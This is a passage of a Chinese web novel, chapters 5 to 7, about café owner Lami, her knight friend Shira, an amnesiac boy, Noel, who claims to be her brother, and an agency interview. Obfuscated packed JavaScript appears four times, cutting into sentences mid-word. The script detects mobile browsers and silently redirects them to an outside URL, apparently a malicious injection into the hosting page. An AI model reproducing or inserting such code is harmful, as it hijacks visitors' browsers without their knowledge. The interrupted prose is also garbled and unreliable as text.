“做好必死的觉悟了吗?”化身为骑士的女子提起似弦乐器又似长剑的巨大武器,剑尖指向杂兵们,语气张狂又自信。 出现了,经典守护者台词! 目睹一切的拉弥不知该先吐槽作为覆面英雌的对方居然在公共场合变身,还是该震惊于其铠甲下的身份。 她掏出手机,想确认眼前一切是否只是自己幻觉,余光扫见标注为“一级”的安全警报弹窗,突然想起了什么。 “……那天晚上,手机没收到安全警报。”拉弥下意识将想法说出。 安全警报系统基于覆盖全区的监控网络运作,又以与事故发生地的距离远近判定危险等级。 自己遇到杂兵的那晚,手机就落在巷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808571|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不远处的咖啡店里,理论上怎么也该收到个二级警报。 醒来后她刷手机时没翻到当晚的记录,就像是什么都没发生过一样。 要不是现在进行的这场袭击手机就正常接收并发出警报,她几乎都要把这事给忘了。 “因为有人希望那场袭击不被注意。”诺尔如同幽灵一般闪现至拉弥身边:“ta们修改了程序,让系统忽视了那个角落发生的一切。” “……ta们是什么人?又为什么?” “我不知道,或许是想让我死吧,是我连累了姐姐,对不起。”诺尔苦笑,旋即又以一种复杂的眼神看向楼下正疯狂殴打杂兵的骑士Shira:“她不一样,无论何时何地她都会是唯一的视线中心,因为那就是……守护者。” 出现了,经典……中二宣言! “你想起了什么吗?” “没有,只是一些零碎的片段和直觉——看到骑士变身系统的第一眼我就不太舒服,好像有过很多与之相关的回忆,却不知那些回忆来自何处。” 坏了,她这个捡来的弟弟不会是什么邪恶组织的叛逃者吧? 拉弥那不看场合就发散思维的毛病又犯了,脑中闪现一万部狗血剧,什么理念冲突、弃暗投明、叛逃出组织后又惨遭追杀…… 孩子看起来倒不像是什么穷凶极恶的坏人,年龄也不够去当误入歧途的天才科学家,“与骑士相关的回忆”……难道是失忆前作为反派被某位光碎骑士痛殴过? 楼下这位光碎骑士Shira看起来打人就蛮痛的,哇塞、那个杂兵的头飞出去了……等等只有头吗?会不会多少有点少儿不宜了。 力量的天平是相对的,那晚的拉弥对杂兵来说是可以玩弄的弱者,面对光碎骑士,它们却成了待宰的羔羊。 楼下的战斗很快就结束了,杂兵们横七竖八地躺在在地上,蓝色的血液几乎将草坪染了个遍。如果不是那盖不住的铁锈味,现场倒颇像什么行为艺术,拉弥在心中为后勤人员默默点蜡。 骑士Shira也解除了变身,再次变回那位明艳的红发女子。 眼见女子向自己所在住院部走来,拉弥连忙拉上了窗帘,低声道:“千万别把你那些稀奇古怪的想法告诉别人,记住你失忆了,先维持住失忆的人设,有什么事等我查清楚……或者等你想起来了、我们再讨论,好吗?” 诺尔看起来不太明白“姐姐”的脑回路,但还是认真地点了点头:“好。” 不久后,斜对门的病房外传来了敲门声:“某人点的的金钱肚和蟹黄汤包到了,嗨?有人在吗?” “在呢在呢!”拉弥推开诺尔的房门。 从背后开的门把红发女子吓了一跳,差点把手中提着的东西给摔了:“靠,你怎么从后面冒出来,你给的病房号不是这间吗?这又是谁,你养的小白脸?你还有钱干这种事?” 看到拉弥身后的诺尔,女子顿时露出“你居然是这种人”或者“你干这种事居然不带我”之类的嫌弃表情。 “停停停别乱想,这位是、是我表弟!刚从乡下过来,原本准备去我店里帮忙来着。” 守护者会如何处理(疑似)邪恶组织的成员? 她试着想象诺尔的头飞出去的画面……算了,不敢想。 5. 第 5 章 “这样啊,你和你弟长得倒不太像。”女子随口吐槽。 “啊哈哈,是吗?也有人这么说过,毕竟仅有母辈关系嘛。”拉弥生硬转移话题:“……只是没想到我俩会遇到这种事。” 女子看到拉弥身上的伤,皱眉骂道:“那群该死的畜生,我迟早、我是说光碎骑士迟早会把它们从世上彻底清除。” 许是觉得自己说漏了嘴,又补充一句:“刚才我在楼下就遇到那些东西了,也是得亏骑士出现,才让我安全把茶点送上来。”说着还邀功似的提了提袋子。 原来还是有在担心暴露身份的吗?拉弥有些无言以对,那你还敢在公共场合变身…… 说起来为什么没人发现?网上流传的骑士相关视频可不少,却从未有过对其铠甲下真实身份的讨论,更别说暴露。甚至有网友认为光碎骑士是官方秘密研发的人形战斗机器,铠甲就是本体。 “这样吗?那真是太危险了,我和诺尔有听见外面传来的惨叫声,完全不敢去看,你没事就好。” “是啊是啊。” 两人没一句真话,又希望对方相信自己的谎言。 再看向诺尔时,女子换了个态度:“原来你就是新闻里的另一个受害者?你们的事我都有从网上听说,也是难为你刚来城里就遇到这些了,要好好感谢你姐哦。既然你叫她姐,那你以后就是我孙辈了,作为她妈妈的我会罩着你的。” ……这都什么乱七八糟的辈分,已经习惯对方风格的拉弥多少还是被哽住了。 诺尔识趣地没接话,那副表情大概在说“你开心就好”。 女子名叫希莱,和拉弥是朴素的网友关系。 两人是同一游戏的忠实玩家,在网络上已经认识很久了,前个月、也是拉弥还在忙黎明咖啡营业执照变更和补办-证件的那段时间,偶然发现她们就住在同一个大区,干脆约在游戏线下联动的餐厅见了一面。 最开始双方也不是没担心过见光死、甚至遇到骗子,见面后拉弥确认了希莱是个表里如一的行动派青年,就是有点爱占口头便宜;希莱在网上倒一直以为对面是个未成年,见面才发现拉弥要比自己大上不少,算是表里不如一的典范。 远远看到医生的身影,希莱终于想起自己是来投喂病人的,连忙拉着两人进房。 “正好多买了一些……谁想吃茶点?我用保温袋装的,还热乎着。” “姐弟”俩默契地同时举起了手。 拉弥这才注意到诺尔的病床旁空空如也,考虑到其失忆后被强加身份也无人纠正的窘迫,不会从醒来到现在为止、都没人看望过他吧? 也怪不得先前对方看到自己会如此开心,她更惭愧了。 在拉弥的指示指示下,诺尔将没用过的陪护床拖到房间中央,再由希莱铺上一层塑料桌布,三人就这么围在床边、开始能被护士训斥一万次的下午茶聚会。 “你前段时间不是还挺忙,怎么突然有空了?”拉弥从金钱肚中挑出沾满酱汁的花生,一颗颗品尝。 希莱的确挺忙,以至可以说是直接失踪了一阵。 不仅无法去重新开业的黎明咖啡做客,连最爱的游戏也没空登录,要不是期间有回复消息,拉弥作为网友都想报警了。 也是考虑到眼下是难得的见面机会,不久前还被光羽投喂过的拉弥才会同意对方线上的邀约。 “唔,这段时间我工作……遇到了一点问题。”希莱一边啃凤爪一边回道。 诺尔没有参与讨论,专心喝粥,作为听众可谓是相当合格。 “工作问题?方便说说吗?” “也没什么大不了的,我之前不是跟你提过我有两个、类似竞争对手的男同事吧,一个笨手笨脚的,总是添乱;还有个臭屁小鬼,不听人话也不说人话,说话永远只说半截,跟个谜语人似的。” “听起来的确很麻烦,他们怎么了,影响到你工作了?”拉弥也不是第一次听希莱抱怨那俩同事了,不过考虑到对方的性格,吐槽也是主观情绪居多。 她能听出希莱其实挺在意俩同事的,约莫是一种亦敌亦友的微妙关系。 “如果只是性格难相处就算了,前段时间我发现臭小鬼居然是邪恶、敌方公司的人,就想问个清楚,他却不愿说。因此我俩差点打起来,笨蛋想阻止、反把矛盾闹得更大,这下好了,算是彻底撕破脸了。” “因为受伤、我是指公司停职,这几天我抽空去敌方公司调查了一下,发现事情确实比预想中还要复杂,臭小鬼可能有难言之隐,但为什么不说呢?明明我们是同伴……” “笨蛋也是,什么都不懂就冲着出头,被揍了也只会傻乐着劝我们别气,真是的,他这种性格被我们欺负就算了,被别人欺负去该怎么办啊?” ……听上去你们三人关系挺好的,嗦汤包的拉弥在心里吐槽,觉得有些事还轮不到作为外人的自己点破。 以及,希莱口中的同事,应该就是另两位骑士吧? 如果没看到发生在住院部楼下的那一幕,或许拉弥真会当这一切不过是普通的工作纠纷——光碎骑士一共是有三人的。 比起隔壁讲究团队协作、成为家长眼中完美守护者榜样的战队,骑士则更多讲究单打独斗,站在同一阵线却又水火不容。 网上广为流传的骑士视频中不仅有几人并肩作战、将后背交给彼此的画面,也有不少窝里斗,甚至有Shira驾驶改装机车创飞另外两人的危险镜头…… 总之,三位守护者的关系可谓是相当复杂了。 算起来希莱消失那阵正好就是光碎骑士从新闻中销声匿迹的时候,拉弥回忆。 那听上去事情还挺严重,身为大众的拉弥无法了解守护者间的具体矛盾、也无法想象,那种外界和内部并行的压力光想想都很窒息,更别说当事人的感受,这种事不是因为几句话就能轻易化解的。 ——但她能安慰自己的朋友。 拉弥将牛仔骨啃得干干净净:“你有解决方案吗?” “暂时没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808572|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”希莱生气归生气,说话间也始终没放下虾饺:“在我调查期间臭小鬼突然消失了,也不知道是不是遇到了什么麻烦,我和笨蛋都找不到他……他不是那种逃避的性格。等我再遇到臭小鬼,一定要好好揍、我是说骂他一顿,按着头让他好好听听我们的想法。” “那也是一种处理方式,很有希莱你的作风。”拉弥笑:“相信你的同事一定会理解的,毕竟你们才是最熟悉彼此的人啊。” “这倒是……” 不知是否是错觉,希莱放狠话的同时,拉弥余光瞥见角落的诺尔突然抖了一下、差点被烧麦噎着,似乎只是一种本能反应。 为什么对方的反应倒像是要被揍的那个? 可能听上去有点吓人,拉弥想,有空得好好跟这位弟弟解释一下,希莱人挺不错的,真的。 两人又就网上的那些事和咖啡店换老板后的近况聊了聊,希莱拍胸脯承诺等处理完同事的麻烦、或者把麻烦的同事给处理了,一定会拉着他们去咖啡店消费。 拉弥则笑着表示那自己可要给几人推荐最贵的产品,相信对方口中笨蛋和臭小鬼是不会拒绝的。 很快就到了护士查房的时间,听见门外越来越近的脚步声,这位上揍骑士同僚、下揍邪恶组织的守护者熟练的用桌布将餐盒一包,再套上深色垃圾袋,销毁证据的全程花费时间不超过十秒,看起来以前没少干这种事。 护士进门后一脸迷惑地看了眼房内干站着的三人,希莱可以明目张胆地提着装满违禁品的垃圾袋离开,拉弥则被训斥了一通——护士没在她房间找到人,这串门串得也有点太久了。 假装自己不存在的诺尔也被骂了,知情不报罪加一等。 “那妈妈我先走了。”希莱临行前不忘从门外探头嘱咐道:“近期……最好还是小心点,区内可能会不太平。” “嗯,你也是,工作要注意安全啊。” 诺尔挥了挥手:“希莱姐再见。” “是奶奶。”希莱纠正。 “好的希莱姐。” “哎你这小鬼怎么跟我那同事一模一样,就喜欢用客气的话阴阳怪气……” 送走了希莱和护士,病房内只剩下本地居民诺尔和准备回房的拉弥。 “希莱姐就是那位红金色的骑士吗?”诺尔出声问,虽然带上了疑问词但更多是向拉弥确认:“那她说的那些事——” “嘘,守护者的事可不是我们这些普通人该参合的。”拉弥学起希莱变身前的模样、竖起手指作噤声状:“有些事听听得了,看破不说破,也别在网上乱说。” “好……”诺尔声音软绵绵的。 两人已经完全熟悉姐弟的相处模式了,哪怕两天前这对“姐弟”连彼此名字都不知道。 身边全是隐藏身份的守护者并不能代表什么,拉弥想,不也有自己和诺尔这种无辜路人? 当然后者身份存疑,但都能被杂兵送进医院了,万一只人是中二少男欢乐多呢,没必要想太多……吧。 6. 第 6 章 接下来的几天里,拉弥又应付了好几轮的采访轰炸。 起先面对记者们的穷追猛打,她还有些难以招架,只能硬着头皮拒绝。到后面干脆将门一锁、账号一退,裹上被子猛刷视频,全当自己没看见后台。 别问,问就是忘密码。 几家电视台提出的采访报酬也有那么一刻让她心动过,但最终还是选择了推辞,觉得维持现状也没什么不好。 更何况拉弥觉得自己不过是侥幸生还,没必要浪费新闻资源去出这个风头。 告诉公众自己被一个杂兵胖揍的全程?那也太奇怪了。 诺尔那边似乎也躲开了镜头,至少拉弥没在网上刷到他的相关信息,连张正面照都没有。 接受采访或许能让认识的人看到、有助于恢复记忆——拉弥曾如此提议道,但都被对方一口回绝。 理由是他认为现在挺好的,有姐姐就够了。 拉弥也不是没想过澄清事实,但都被诺尔那“你不要我了吗”的可怜目光给堵回去。 ……感觉自己被赖上了。 “姐姐”很快就接受了现实,心道你小子等着,咖啡店学徒的位置这不就有了?二楼杂物间以后就是对方的卧室,恢复记忆后可别叫唤。 总之住院时的姐弟二人完全处于一种采访全否定状态,期间五人组经常来看望拉弥,希莱偶尔也会掉落投喂,倒是让她过了阵闲适而又惬意的日子,就是没有游戏玩,怪无聊的。 直到拉弥也无法逃避的来访出现——来自官方的问话。 两位身穿黑底红纹制服的官方人士在医生的带领下进入病房,胸口的金色徽章说明了二者的来历——星律防卫局 L.O.G.O.S.(Light Operation Global Observation System)。 三十年前,来自奎宿增廿一的第一缕光降临至地球,L.O.G.O.S便就此成立。 “……防卫局需要我做些什么吗?”提前收到通知的拉弥有些如坐针毡。 这个名字很长的组织——防卫局理论上会对一切怪兽/怪人事件负责,出现在这并不奇怪,但好歹沾上了官方二字,说不紧张是不可能的。 “别担心,只是例行询问。”看扮相等级就不低的女性示意其放轻松,她打开似乎很黑科技的平板,点开拉弥的个人档案:“拉弥女士……是吧?” 然而没等拉弥回应,就见对面的长官眉头一皱,露出迷惑不解的眼神。 其身后的下属见状也凑上前,跟着划拉了屏幕几下,和长官小声交流几句、就退去门外打电话了。 拉弥没听清两人说了什么,这番发展整得她脑子如一团乱麻,开始胡思乱想: 难道自己无中生弟被发现了?诺尔可是主动认亲的,这仅存在口头上的临时亲属关系还能登记入库? 或者咖啡店手续有问题?自己当时可是反复跑了好几趟才办好,不至于啊; 还是说前任店主(假设)偷税漏税给扒出来了…… 就在拉弥疯狂回忆自己的“前科”是否归防卫局管、甚至脑补出前店主可能的违法乱纪时,与下属沟通过后的长官再度露出标准的笑容:“抱歉,刚才系统异常,导致档案出现了一点问题,现在已经恢复了。” 拉弥顿时松了口气,不过也有些迷惑,档案异常至于露出那种表情吗,自己又没有什么敏感背景…… 对方没在这个问题纠结下去,就如开场所说的,仅就那天发生的事做出公式化询问。 拉弥没有隐瞒,将那个雨夜发生的事和盘托出,只是选择性隐去了她对五人组身份的推论以及“失控”对杂兵发号施令的那一段——说出来会被当大龄中二病吧? 至于五人组的事就更不能说了,拉弥不想给几个选择戴上面具去战斗的孩子徒增烦扰,只说自己当时下意识向人多的方向逃跑,然而还是被逮住了。 “感谢你的配合。”长官点了点头,收起平板。 但这位长官似乎自带让人情绪过山车的被动技能,下一句话又让拉弥把刚吐出的气给硬憋了回去:“拉弥女士,你有考虑过来L.O.G.O.S工作吗?” “……我?” 拉弥愣了半分钟才反应过来,通过表情确认对方没开玩笑,想也不想地表示否定:“没有,完全没考虑过。” 长官表情依旧淡淡的,似乎没为她的直白而感到冒犯:“L.O.G.O.S中大多工作都无需与怪兽、怪人正面对抗,哪怕是基础文职的待遇也非常丰厚,是很多人梦寐以求的工作。拉弥女士连犹豫都没有,就选择拒绝吗?” “听起来蛮不错的,但的确不适合我。”拉弥语气委婉,态度倒挺坚决。 “介意说下原因吗?” “我年龄不合适,专业也不对口啊……”话一出口,拉弥旋即意识到长官问的不是这个,毕竟对方才看过自己的档案。 她想了想,回复道:“选择进入防卫局的人的,不管是出于何种目的,大多都是抱着能帮助他人、阻止危机之类的想法,才会选择这份需要直面那些怪人、甚至是怪兽的工作的吧,得到高报酬也是应该的。” “我很佩服你们,但我并没有那种豁出一切的勇气,安心经营好一家小店、养活自己和店员,对我来说就足够了。” 比起神秘而强大的守护者们,活跃在前线的防卫局成员每年因怪兽或怪人导致的伤亡不计其数,以凡人之躯捍卫和平,同样能被视为英雌或者英雄。 举个不太恰当的例子,防卫局就像是明知危险,却义无反顾扑向火焰的蛾子,只因火中有求援的声音。 而拉弥这只懒蛾子宁愿呆在原地,觉得自己过去了也无用、只会大家的拖后腿,从一开始就没有生出过要冒险的想法。 成为英雌的心性与资质啊……怎么看也不该是她这种人会拥有的吧。 “我明白了。”长官没有多说,仿佛真的只是随口一问。 她与拉弥交换了联络方式,说日后有需要的话,随时可以联系。 难道说我有哪个不知道的亲戚在防卫局工作? 这倒是解释得了一切,拉弥发出咸鱼式的吐槽,如果亲戚是在担心自己生活状况,可以直接打钱的,真的。 两人离开前,拉弥发出了最后的疑问:“那天夜里的其他杂兵……我是说其他‘哈斯克‘、战斗员,有被抓到吗?” “可以算抓到了。” “可以算?” “它们同拉弥女士你撞见的那只一样,都没了头颅,现场有发现由内至外的爆炸痕迹,残片和躯干部分已由后勤部回收处理。” 拉弥陷入了沉默,久到防卫局二人离开病房都没能回过神。 等到拉弥正式出院那天,众人给她在黎明咖啡开了场简单的派对。 诺尔倒是早一些就在店里待着了,也不知道这小子是吃什么长的,明明伤情比拉弥严重太多,却恢复得更快。 其他人很快就接受了老板有个乡下表弟的设定,反正活干得最多、学徒的工资也照样给,谁管是真是假呢。 “姐弟的话也解释得通,毕竟店长你看起来没什么朋友啊。” 说话的是苍太,孩子看起来也没嘲讽的意思,不过是顺嘴说了句大实话,就是这实话听起来有些过于残忍了。 念在对方的确无主观恶意,拉弥只是安排他收拾二楼、顺带用霉运debuff给新学徒添堵,而不是直接扔去刷厕所。 相较于前几日的爆火,等到拉弥回店时,黎明咖啡不出意外的冷清了许多。 毕竟杂兵袭击的确算不上什么大新闻,再加上事件中心的二人又始终不肯出现,公众很快就将注意力转移至更大的热点上——比如,光碎骑士。 消失许久的骑士们再度重归舞台,除了登场自带火焰特效的红金色骑士Shira,同时出现的还有代号Lume的橙蓝色骑士,被媒体命名为“回归的守护者”。 Shira的身份不用说,直觉告诉拉弥,那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808573|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Lume就是希莱口中的“笨蛋”——因为对方在某场战斗结束后、被记者硬追了三条街才想起自己的机车,差点暴露身份,看起来实在不怎么聪明。 根据排除法,光碎骑士中还有位黑紫色的骑士仍未回归,应该就是希莱说的“臭小鬼”、与邪恶组织有关系的那位。 拉弥只希望那位黑紫骑士平安无事,至少别让希莱太过担心。 也怪不得对方最近忙得连自己的出院欢迎会都没时间参加,倒是寄来了零食大礼包——就喜好和口味这点,希莱还是相当了解她的。 电视上正播放着光碎骑士vs怪人的现场直播,四位高中生分享新出炉的庆祝蛋糕之余,不时偷瞄几眼屏幕,表情多少都有些复杂。 拉弥理解那种表情,毕竟某种意义上骑士和战队两方能算竞争对手,喜欢骑士的多是青年人,而战队的粉丝则大部分来自未成年和老年居民——俗称奶奶粉和爷爷粉。 大概也是一种成人向和子供向、个人英雌/英雄主义和集体主义的受众差异吧? 拉弥倒是无所谓,毕竟比起隔了一层屏幕滤镜的守护者,无论是赤音五人还是希莱,对她而言都是活生生的人,没什么区别。 再神秘的守护者摘下面具后,不也得来自家咖啡店喝杯咖啡? 当然,作为骑士的希莱至今都没有拜访的机会,计划总会被各种突发事件打乱,大抵与黎明咖啡店相性不合;巨人就更没法了,五十米的高度对一栋二层小楼而言还是有些太超过了。 ——至于为什么只有四人,光羽在派对开始时就解释过:“赤音在B区有学术竞赛要参加,现在应该已经在飞机上了。” “优等生也不容易啊。” “她说等下下周封闭式集训结束,就赶回来参加我们的行动、我是说社团活动。” 这都什么时间管理大师?拉弥听着都累,保证好学生人设的同时也能变身守护者维护和平,空闲时间要看望自己,顺带去参加跨区比赛,未免也太可怕了……正面意义的可怕。 “需要帮助吗?” 拉弥注意到四人中有人频频看向吧台,于是单脚蹬着带有滚轮和扶手的椅子滑过半个店铺,一路转到吃完蛋糕、正伏案赶作业的四人面前。 椅子是高中生组用电脑椅改的,方便左腿打石膏的拉弥在咖啡店里飞驰 。 “店长……能、能帮我看下这道题吗?”需要帮忙的是夜辉,孩子声音低得要凑近了才能勉强听清。 赤音不在,凛司成绩不错但实在不是个合格的讲师,光羽成绩不上不下,至于苍太更指望不上、他能照顾好自己就已经是进步了。 “这还不简单?高中生的题那还不……”拉弥原本还很自信,看清题目的一瞬表情就僵住了。 她不抱期待地望向正在做清洁工作的诺尔,后者回以一个清澈的眼神。 “……我给你推荐几个好用的解题APP吧。”早已让高中知识从大脑皮层滑走、又或者根本没记过的拉弥选择投降。 几个高中生顿时爆发出或大或小的笑声,得到恼羞成怒的拉弥一人一记爆栗,看戏的诺尔也没被放过。 这样的生活没什么不好,拉弥想。 有着一家不大不小的店,认识这帮隐藏身份但依旧可爱的学生,和网上认识的朋友有了更深层的了解——虽然是单方面的,咖啡店的老店员依旧靠谱,现在还天降了个“弟弟”帮忙打理店铺。 这就是一个普通人的平凡人生中所能拥有的幸福吧? 拉弥谢绝了诺尔送其回家的提议,吩咐几句安全问题后就拄着拐杖独自回家了,回到那个与住院前没有任何不同、依旧空荡荡的家。 锁好门窗,这晚她没有熬夜打游戏,而是简单洗漱后就躺上了床。 她又做梦了,还是那个来自三十年前的梦。 跨越数百万光年来到这颗星球的光芒化作巨大的人影,从废墟中托起“她”破碎的身躯——那触感就如同母亲的怀抱,温暖而又令人心安。 7. 第 7 章 许是好梦加成,接下来几天拉弥都充满了干劲——指充满干劲使唤诺尔。 因为腿伤的缘故,她的工作点被固定在吧台后,每天只用管下单收银的拉弥第一次感到作为老板的悠闲。 诺尔几乎包揽了她之前负责的全部活计,连二楼的改装也基本由其独自完成,五人组主要起了个气氛作用。 拉弥也曾艰难爬上二楼查看情况:曾经的杂物间被精心打扫过一番,角落论箱装好的杂物按大小有序摆放,一切都显得那么整洁而又舒适,与她住院前的混乱场面完全是两个画风。 整理完后,诺尔在最里侧铺了一层地铺,又搬来套废旧的桌椅——那就是他的“卧室”了。 诺尔仿佛完全没有怨言,工作一丝不苟,比拉弥这个老板给自己当杂工时还认真,仿佛真有在咖啡店学徒这一岗位发光发热的远大志向。 拉弥有些心虚,按照原定的学徒工资上又加了一些,就当是对方兼职保安的补偿了。 有次她实在忍不住,问:“诺尔你之前到底是干什么的,给哪个黑心老板007吗?”干杂工的活还能认真成这样,不敢想象对方以前过的都是什么苦日子。 “我不记得了,但现在的工作让我感觉很开心。”诺尔露出真挚的笑容:“能帮上姐姐就太好了。” 拉弥开始思考自己是不是有被吊上路灯的潜质。 “姐姐呢?”诺尔问:“在接手咖啡店前,姐姐是做什么的?” 拉弥纠结了一会儿,还是选择正面回复这个不算是秘密的问题:“在家办公……听起来的确像是什么可疑的无业游民,但养活自己还是足够的,对我来说在网上跟甲方对接可比现实跟人接触轻松多了。” 她还挺享受那种宅居生活的,只可惜在亲戚眼中那种生活是不合常理、不能被接受的,所以硬是给其安排了咖啡店的工作。 “那是姐姐喜欢做的事吗?” “当然,不然也不至于整天呆在家了。” “现在的咖啡店工作呢,姐姐讨厌吗?” “……也不算讨厌吧,以我的性格要真讨厌,是绝不会同意接手的。” “那就好,姐姐一直在做自己想做的事。”诺尔认真看向对方:“如果您哪天不再做咖啡店老板,想回归以前的生活,我也会帮忙的。” 这就算了,假亲戚遇上真亲戚……拉弥不敢想象那场面,自己那帮亲戚可没大男孩这么善解人意,不过还是领了诺尔的这份心意。 或许,有个这样的弟弟也还算不错? 至于高中生五人组,拉弥有向咖啡师确认自己住院几天的客流量,按照忙碌程度给几人结算了小时工的钱。 当然一开始五人是严词拒绝的,后被拉弥用“以后消费回来不就行了”之类的理由强行劝服。 苍太收到的最少——光是摔碎的餐具数量都够对方喝一壶了,为避免这小祖宗以后摔得更多,拉弥只能违心表示他先前的付出已足够赔偿,言外之意是请这尊大神别嚯嚯自家店铺了。 知道五人不缺这点钱,但她不想欠谁的,更不想亏待几个孩子。 只有算好账,才能依旧以朋友的身份与五人相处,日后欺负小孩时也用不着手软——这点拉弥倒是跟几人明说了,不以为耻、反以为荣。 高中生组纷纷露出“以后绝对不要成为这样的大人”的表情。 作为一家公开的门店,黎明咖啡有固定刷营业额甚至倒贴上班的高中生组,也有不太愉快的客人,比如,眼前这位—— “怎么会没有呢,宣传册上明明还有的啊?”两鬓斑白的中年男指着传单上的一款蛋糕,唾沫星子都快喷到拉弥脸上了。 拉弥推着转椅后退半步:“这款蛋糕很火爆,中午就售罄了,不如您试试其他款?我觉得下面这款就很不错……” “不,我就要这款!”中年男猛地将宣传单拍在吧台上,胸膛因大幅度呼吸而起伏明显:“我可以等,你们再做一块吧,一块就好……” “不好意思先生,蛋糕制作也是需要时间的,今天剩余的营业时间恐怕不够预约了,不如您明天早点来?” 眼见中年男的表情越来越扭曲,拉弥面上不变,心里已经在盘算开门放狗、放诺尔了,只是纠结于如何“请”对方出去才不会让咖啡店惹上麻烦。 店内是有监控的,就算闹到网络上也不至于理亏…… 就在拉弥思考着如何行动时,一道清冷的声音打断了二人的拉扯:“还没好吗?” 那是道魁梧的身影,中年男的身高只能算普通,而来人硬是高出快一个头,往那一站几乎就挡去了拉弥的全部视线。 原本就焦躁的男人被这么一句话惹得更为恼火,他骂骂咧咧地转过头——看清身后女子光用肱二头肌就能挤死自己的体型,瞬间哑火了。 眼见前后都讨不到什么好果子吃,中年男捏紧手中那点零钱,咬着牙冲出了店门。 哇哦,是之前那位闭店前赶来的客人。 “您好,还是要坚果黑巧的那款新品吗?现在已经是常驻款了。” 女子淡漠的表情出现了短暂的裂痕:“嗯……老板你还记得我?” “那当然,忘了谁也不会忘记您这么帅气的客人嘛。”拉弥笑道:“在店吃还是打包?” “打包,麻烦了。” 不知是否是错觉,她看见高大女子嘴角勾起了一像素点的笑容。 诺尔从裱花间探出半个头:“需要帮忙吗?” “没事,只是一位不太有耐心的客人而已,已经走了。”哎,怪也只能怪自家甜品太好吃……并不负责制作甜品的拉弥突然自恋了起来。 忙碌的一天转瞬即逝,拉弥吩咐诺尔把新到的面包送去冷库分装,扭头就看见白天差点闹事的中年男正站在店外,鬼鬼祟祟的,不知想干什么。 ……没完没了了是吧? 咖啡师和甜品师已经下班了,那么……拉弥掂量了一下自己的双拐,有点重量,揍起人应该还挺趁手。 她没有回避,一瘸一拐地推开店门、径直向中年男走去。 虽然腿脚仍有些不便,但拉弥前不久还跟有远超常人力量的杂兵干过架——虽然输了,中年男则一副憔悴得随时可能去世的模样,仍属于青壮年的她不觉得手持武器的自己会落入下风。 然而没等拉弥放狠话,就见中年男跟换了个人一样,对着她深鞠一躬:“抱歉啊妹子,白天的事,是我不对!” “然后呢?”拉弥都有些懵了。 “然后?没有然后……是、是还需要我做什么吗?不好意思,是我太激动了,真的很对不起。” ……引我出来就这点事啊? 拉弥又回了店内一趟,给中年男递去一杯滚烫的黑咖啡——大概率是故意的。 两人在店外的石凳上坐下,还是拉弥先开口:“介意我问问是发生什么了吗?” 或许是太久没人问过这个问题了,也没有倾诉的机会,中年男几乎不怎么犹豫,将不快一股脑地倒出:“说出来妹子你别笑话,我弟、哎那个混账东西,做生意失败,背着家里人,借了高利贷。” “他下跪求咱妈和我,我还能怎么办?能借的都借了还是还不上,只能偷拿了房产证、我和我老婆还有女儿住的那套……拿去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808574|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贷款抵押了。” “前阵子那混账因为还欠银行的钱直接进去了,人没保住、钱也回不来,这事彻底瞒不住了,只能向两人坦白。” “老婆要跟我离婚,但债已经算在两人的头上,女儿也跟我闹掰了……” 拉弥手一抖,差点将自己的那份咖啡泼中年男脸上。 她想吐槽说你们兄弟俩半斤八两、不同的混账,但感觉对咖啡店名誉不太好,也就强行忍住了。 “……我这几天在想办法筹钱,至少得把家里的房子保住。” “正好路过妹子你的店,想起那款蛋糕是女儿喜欢吃的,想着至少给她带一个回去,所以有些失态了。” “我已经好几天没见她了……” 拉弥欲言又止,很多想说的脏话硬憋了回去:“先生您现在的情绪好多了,是在其他店买到了同款?” 也就一下午的时间,总不能是突然中了巨额彩票,那概率得多小?中年男现在的转变就像是被原谅了一样,她可不觉得一款蛋糕就能让受害者母女原谅这个丈夫和父亲。 “也没有,是吃了药……是好东西啊,心情顺畅多了。”中年男露出轻松的表情:“还得解决房子的问题,多找几份兼职吧,一直消沉下去可不行啊。” 药? 难道对方还有什么精神类疾病?这话听起来的逻辑有点怪,但结论是好的方向。 